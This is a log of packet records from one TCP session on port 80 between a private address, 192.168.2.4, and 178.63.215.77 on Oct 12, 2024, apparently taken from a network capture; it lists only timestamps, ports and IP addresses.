Oct 12, 2024 14:17:08.108622074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108644009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108658075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108675957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108685970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108706951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108736038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108771086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108784914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108815908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108827114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108845949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108850956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108875990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108891964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108907938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108911037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108938932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108952045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.108971119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.108977079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109002113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109006882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109034061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109042883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109065056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109072924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109096050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109102964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109126091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109133959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109158039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109169960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109189987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109201908 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109221935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109230042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109256983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109267950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109288931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109298944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109321117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109344959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109352112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109364033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109381914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109392881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109412909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109422922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109443903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109467030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109474897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109486103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109505892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109514952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109536886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.109544992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.109575033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114248037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114276886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114314079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114322901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114334106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114367962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114372015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114403963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114412069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114437103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114449024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114468098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114474058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114499092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114507914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114530087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114537954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114569902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114590883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114633083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114635944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114667892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114691973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114698887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114707947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114729881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114736080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114759922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114773035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114792109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114800930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114823103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114847898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114856005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114861965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114886999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114901066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114919901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114947081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114950895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114973068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.114983082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.114990950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.115015030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.115025043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.115056038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195571899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195642948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195677042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195713043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195764065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195789099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195796013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195830107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195861101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195861101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195861101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195883989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195914984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195915937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195949078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.195962906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195991039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.195998907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196032047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196105957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196155071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196204901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196238995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196266890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196274042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196300030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196305037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196335077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196352959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196357012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196389914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196419954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196468115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196536064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196568012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196599960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196605921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196630955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196645975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196715117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196743965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196748018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196774006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196779966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196789026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196811914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196836948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196844101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196861982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196876049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196892977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196907997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196922064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196939945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196964979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.196978092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.196984053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197005987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197031975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197037935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197062016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197069883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197081089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197101116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197113991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197134972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197143078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197165966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197180986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197196960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197213888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197231054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197244883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197264910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197287083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197297096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197329044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197330952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197357893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197360992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197376966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197391987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197422981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197429895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197453022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197458029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197484970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197494984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197518110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197530031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197552919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197560072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197586060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197596073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197618008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197630882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197652102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197664976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197683096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197689056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197715044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197722912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197746038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197771072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197777987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197787046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197808981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197834015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197844028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.197849989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.197885036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.248529911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.253550053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440435886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440505028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440524101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440558910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440588951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440609932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440609932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440653086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440658092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440705061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440706968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440752029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440756083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440787077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440798998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440819979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440830946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440855980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440869093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440918922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440923929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440953970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.440972090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.440990925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441001892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441035032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441046000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441062927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441072941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441107988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441112995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441153049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441159964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441194057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441200972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441232920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441242933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441279888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441282988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441314936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441323042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441361904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441361904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441397905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441411972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441446066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441458941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441478968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441489935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441509962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441524982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441541910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441549063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441582918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441590071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441623926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441656113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441657066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441670895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441704035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441711903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441735983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441751003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441767931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441781044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441798925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441803932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441843033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441848040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441879034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441901922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441917896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441926956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441960096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.441970110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.441992044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442003965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442023039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442032099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442054033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442079067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442095995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442106009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442148924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442154884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442188025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442198992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442219019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442230940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442250967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442271948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442282915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442286015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442313910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442328930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442357063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442362070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442393064 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442406893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442430973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442440987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442472935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442480087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442504883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442526102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442534924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442545891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442569017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442581892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442605972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442615986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442648888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442662954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442691088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442697048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442729950 CEST	80	49730	178.63.215.77	192.168.2.4
